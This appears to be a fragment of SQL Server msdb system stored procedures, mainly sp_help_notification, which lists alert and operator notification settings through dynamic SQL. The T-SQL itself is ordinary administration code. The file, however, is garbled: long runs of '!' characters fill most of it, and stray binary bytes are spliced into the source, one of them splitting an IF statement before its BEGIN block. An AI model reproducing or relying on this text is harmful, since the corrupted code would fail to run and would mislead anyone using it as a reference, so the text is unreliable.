    IF (LTRIM(RTRIM(@pager_address)) IS NULL)
      SELECT @notification_method = @notification_method & ~2
    IF (LTRIM(RTRIM(@netsend_address)) IS NULL)
      SELECT @notification_method = @notification_method & ~4
    EXECUTE master.dbo.xp_instance_regwrite N'HKEY_LOCAL_MACHINE',
                                            N'SOFTWARE\Microsoft\MSSQLServer\SQLServerAgent',
                                            N'AlertNotificationMethod',
                                            N'REG_DWORD',
                                            @notification_method

    -- And finally, let SQLServerAgent know of the changes
    EXECUTE msdb.dbo.sp_sqlagent_notify @op_type = N'G'
  END

  RETURN(0) -- Success
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(%]4v	hCREATE PROCEDURE sp_help_notification
  @object_type          CHAR(9),   -- Either 'ALERTS'    (enumerates Alerts for given Operator)
                                   --     or 'OPERATORS' (enumerates Operators for given Alert)
  @name                 sysname,   -- Either an Operator Name (if @object_type is 'ALERTS')
                                   --     or an Alert Name    (if @object_type is 'OPERATORS')
  @enum_type            CHAR(10),  -- Either 'ALL'    (enumerate all objects [eg. all alerts irrespective of whether 'Fred' receives a notification for them])
                                   --     or 'ACTUAL' (enumerate only the associated objects [eg. only the alerts which 'Fred' receives a notification for])
                                   --     or 'TARGET' (enumerate only the objects matching @target_name [eg. a single row showing how 'Fred' is notfied for alert 'Test'])
  @notification_method  TINYINT,   -- Either 1 (Email)   - Modifies the result set to only show use_email column
                                   --     or 2 (Pager)   - Modifies the result set to only show use_pager column
                                   --     or 4 (NetSend) - Modifies the result set to only show use_netsend column
                                   --     or 7 (All)     - Modifies the result set to show all the use_xxx columns
  @target_name   sysname = NULL    -- Either an Alert Name    (if @object_type is 'ALERTS')
                                   --     or an Operator Name (if @object_type is 'OPERATORS')
                                   -- NOTE: This parameter is only required if @enum_type is 'TARGET')
AS
BEGIN
  DECLARE @id              INT    -- We use this to store the decode of @name
  DECLARE @target_id       INT    -- We use this to store the decode of @target_name
  DECLARE @select_clause   NVARCHAR(1024)
  DECLARE @from_clause     NVARCHAR(512)
  DECLARE @where_clause    NVARCHAR(512)
  DECLARE @res_valid_range NVARCHAR(100)

  SET NOCOUNT ON

  SELECT @res_valid_range = FORMATMESSAGE(14208)

  -- Remove any leading/trailing spaces from parameters
  SELECT @object_type = UPPER(LTRIM(RTRIM(@object_type)) collate SQL_Latin1_General_CP1_CS_AS)
  SELECT @name        = LTRIM(RTRIM(@name))
  SELECT @enum_type   = UPPER(LTRIM(RTRIM(@enum_type)) collate SQL_Latin1_General_CP1_CS_AS)
  SELECT @target_name = LTRIM(RTRIM(@target_name))

  -- Turn [nullable] empty string parameters into NULLs
  IF (@target_name = N'') SELECT @target_name = NULL

  -- Check ObjectType
  IF (@object_type NOT IN ('ALERTS', 'OPERATORS'))
  BEGIN
    RAISERROR(14266, 16, 1, '@object_type', 'ALERTS, OPERATORS')
    RETURN(1) -- Failure
  END

  -- Check AlertName
  IF (@object_type = 'OPERATORS') AND
     (NOT EXISTS (SELECT *
                  FROM msdb.dbo.sysalerts
                  WHERE (name = @name)))
  BEGIN
    RAISERROR(14262, 16, 1, '@name', @name)
    RETURN(1) -- Failure
  END

  -- Check OperatorName
  IF (@object_type = 'ALERTS') AND
     (NOT EXISTS (SELECT *
                  FROM msdb.dbo.sysoperators
                  WHERE (name = @name)))
  BEGIN
    RAISERROR(14262, 16, 1, '@name', @name)
    RETURN(1) -- Failure
  END

  -- Check EnumType
  IF (@enum_type NOT IN ('ALL', 'ACTUAL', 'TARGET'))
  BEGIN
    RAISERROR(14266, 16, 1, '@enum_type', 'ALL, ACTUAL, TARGET')
    RETURN(1) -- Failure
  END

  -- Check Notification Method
  IF ((@notification_method < 1) OR (@notification_method > 7))
  BEGIN
    RAISERROR(14266, 16, 1, '@notification_method', @res_valid_range)
    RETURN(1) -- Failure
  END

  -- If EnumType is 'TARGET', check if we have a @TargetName parameter
  IF (@enum_type = 'TARGET') AND (@target_name IS NULL)
  BEGIN
    RAISERROR(14502, 16, 1)
    RETURN(1) -- Failure
  END

  -- If EnumType isn't 'TARGET', we shouldn't have an @target_name parameter
  IF (@enum_type <> 'TARGET') AND (@target_name IS NOT NULL)
  BEGIN
    RAISERROR(14503, 16, 1)
    RETURN(1) -- Failure
  END

  -- Translate the Name into an ID
  IF (@object_type = 'ALERTS')
  BEGIN
    SELECT @id = id
    FROM msdb.dbo.sysoperators
    WHERE (name = @name)
  END
  IF (@object_type = 'OPERATORS')
  BEGIN
    SELECT @id = id
    FROM msdb.dbo.sysalerts
    WHERE (name = @name)
  END

  -- Translate the TargetName into a TargetID
  IF (@target_name IS NOT NULL)
  BEGIN
    IF (@object_type = 'OPERATORS')
    BEGIN
      SELECT @target_id = id
      FROM msdb.dbo.sysoperators
      WHERE (name = @target_name )
    END
    IF (@object_type = 'ALERTS')
    BEGIN
      SELECT @target_id = id
      FROM msdb.dbo.sysalerts
      WHERE (name = @target_name)
    END
    IF (@target_id IS NULL) -- IE. the Target Name is invalid
    BEGIN
      RAISERROR(14262, 16, 1, @object_type, @target_name)
      RETURN(1) -- Failure
    END
  END

  -- Ok, the parameters look good so generate the SQL then EXECUTE() it...

  -- Generate the 'stub' SELECT clause and the FROM clause
  IF (@object_type = 'OPERATORS') -- So we want a list of Operators for the supplied AlertID
  BEGIN
    SELECT @select_clause = N'SELECT operator_id = o.id, operator_name = o.name, '
    IF (@enum_type = 'ALL')
      SELECT @from_clause = N'FROM msdb.dbo.sysoperators o LEFT OUTER JOIN msdb.dbo.sysnotifications sn ON (o.id = sn.operator_id) '
    ELSE
      SELECT @from_clause = N'FROM msdb.dbo.sysoperators o, msdb.dbo.sysnotifications sn '
  END
  IF (@object_type = 'ALERTS') -- So we want a list of Alerts for the supplied OperatorID
  BEGIN
    SELECT @select_clause = N'SELECT alert_id = a.id, alert_name = a.name, '
    IF (@enum_type = 'ALL')
      SELECT @from_clause = N'FROM msdb.dbo.sysalerts a LEFT OUTER JOIN msdb.dbo.sysnotifications sn ON (a.id = sn.alert_id) '
    ELSE
      SELECT @from_clause = N'FROM msdb.dbo.sysalerts a, msdb.dbo.sysnotifications sn '
  END

  -- Add the required use_xxx columns to the SELECT clause
  IF (@notification_method & 1 = 1)
    SELECT @select_clause = @select_clause + N'use_email = ISNULL((sn.notification_method & 1) / POWER(2, 0), 0), '
  IF (@notification_method & 2 = 2)
    SELECT @select_clause = @select_clause + N'use_pager = ISNULL((sn.notification_method & 2) / POWER(2, 1), 0), '
  IF (@notification_method & 4 = 4)
    SELECT @select_clause = @select_clause + N'use_netsend = ISNULL((sn.notification_method & 4) / POWER(2, 2), 0), '

  -- Remove the trailing comma
  SELECT @select_clause = SUBSTRING(@select_clause, 1, (DATALENGTH(@select_clause) / 2) - 2) + N' '

  -- Generate the WHERE clause
  IF (@object_type = 'OPERATORS')
  BEGIN
    IF (@enum_type = 'ALL')
      SELECT @from_clause = @from_clause + N' AND (sn.alert_id = ' + CONVERT(VARCHAR(10), @id) + N')'

    IF (@enum_type = 'ACTUAL')
      SELECT @where_clause = N'WHERE (o.id = sn.operator_id) AND (sn.alert_id = ' + CONVERT(VARCHAR(10), @id) + N') AND (sn.notification_method & ' + CONVERT(VARCHAR, @notification_method) + N' <> 0)'

    IF (@enum_type = 'TARGET')
      SELECT @where_clause = N'WHERE (o.id = sn.operator_id) AND (sn.operator_id = ' + CONVERT(VARCHAR(10), @target_id) + N') AND (sn.alert_id = ' + CONVERT(VARCHAR(10), @id) + N')'
  END
  IF (@object_type = 'ALERTS')
  BEGIN
    IF (@enum_type = 'ALL')
      SELECT @from_clause = @from_clause + N' AND (sn.operator_id = ' + CONVERT(VARCHAR(10), @id) + N')'

    IF (@enum_type = 'ACTUAL')
      SELECT @where_clause = N'WHERE (a.id = sn.alert_id) AND (sn.operator_id = ' + CONVERT(VARCHAR(10), @id) + N') AND (sn.notification_method & ' + CONVERT(VARCHAR, @notification_method) + N' <> 0)'

    IF (@enum_type = 'TARGET')
      SELECT @where_clause = N'WHERE (a.id = sn.alert_id) AND (sn.alert_id = ' + CONVERT(VARCHAR(10), @target_id) + N') AND (sn.operator_id = ' + CONVERT(VARCHAR(10), @id) + N')'
  END

  -- Add the has_email and has_pager columns to the SELECT clause
  IF (@object_type = 'OPERATORS')!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<7%/g	h
  BEGIN
    SELECT @select_clause = @select_clause + N', has_email = PATINDEX(N''%[^ ]%'', ISNULL(o.email_address, N''''))'
    SELECT @select_clause = @select_clause + N', has_pager = PATINDEX(N''%[^ ]%'', ISNULL(o.pager_address, N''''))'
    SELECT @select_clause = @select_clause + N', has_netsend = PATINDEX(N''%[^ ]%'', ISNULL(o.netsend_address, N''''))'
  END
  IF (@object_type = 'ALERTS')
  BEGIN
    -- NOTE: We return counts so that the UI can detect 'unchecking' the last notification
    SELECT @select_clause = @select_clause + N', has_email = (SELECT COUNT(*) FROM sysnotifications WHERE (alert_id = a.id) AND ((notification_method & 1) = 1)) '
    SELECT @select_clause = @select_clause + N', has_pager = (SELECT COUNT(*) FROM sysnotifications WHERE (alert_id = a.id) AND ((notification_method & 2) = 2)) '
    SELECT @select_clause = @select_clause + N', has_netsend = (SELECT COUNT(*) FROM sysnotifications WHERE (alert_id = a.id) AND ((notification_method & 4) = 4)) '
  END

  EXECUTE (@select_clause + @from_clause + @where_clause)

  RETURN(@@error) -- 0 means success
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!